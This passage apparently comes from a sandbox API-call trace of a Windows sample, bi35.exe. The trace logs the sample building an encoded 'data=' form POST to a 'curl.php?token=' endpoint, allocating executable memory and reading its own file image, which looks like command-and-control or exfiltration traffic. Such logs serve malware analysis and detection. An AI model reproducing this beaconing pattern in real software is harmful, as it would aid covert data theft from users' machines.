aISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==" [0048.359] lstrlenA (lpString="data=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") returned 5797 [0048.359] lstrcpyW (in: lpString1=0x19f858, lpString2="curl.php?token=" | out: lpString1="curl.php?token=") returned="curl.php?token=" [0048.359] VirtualAlloc (lpAddress=0x0, dwSize=0x404, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0048.359] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2730000, nSize=0x200 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bi35.exe")) returned 0x26 [0048.359] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bi35.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0048.359] CreateFileMappingW (hFile=0x4bc, lpFileMappingAttributes=0x0, flProtect=0x8, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x4c0 [0048.359] MapViewOfFile (hFileMappingObject=0x4c0, dwDesiredAccess=0x1, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2740000 [0048.360] lstrlenW (lpString="curl.php?token=") returned 15 [0048.360] lstrlenA (lpString="1019") returned 4 [0048.360] lstrlenA (lpString="1019") returned 4 [0048.360] lstrlenA (lpString="1019") returned 4 [0048.360] lstrlenA (lpString="1019") returned 4 [0048.360] lstrlenA (lpString="1019") returned 4 [0048.360] lstrlenA (lpString="1019") returned 4 [0048.360] lstrlenA (lpString="1019") returned 4 [0048.360] lstrlenA (lpString="1019") returned 4 [0048.360] lstrlenA (lpString="1019") returned 4 [0048.360] UnmapViewOfFile (lpBaseAddress=0x2740000) returned 1 [0048.360] CloseHandle (hObject=0x4c0) returned 1 [0048.360] CloseHandle (hObject=0x4bc) returned 1 [0048.360] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0048.360] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0048.360] lstrlenA (lpString="data=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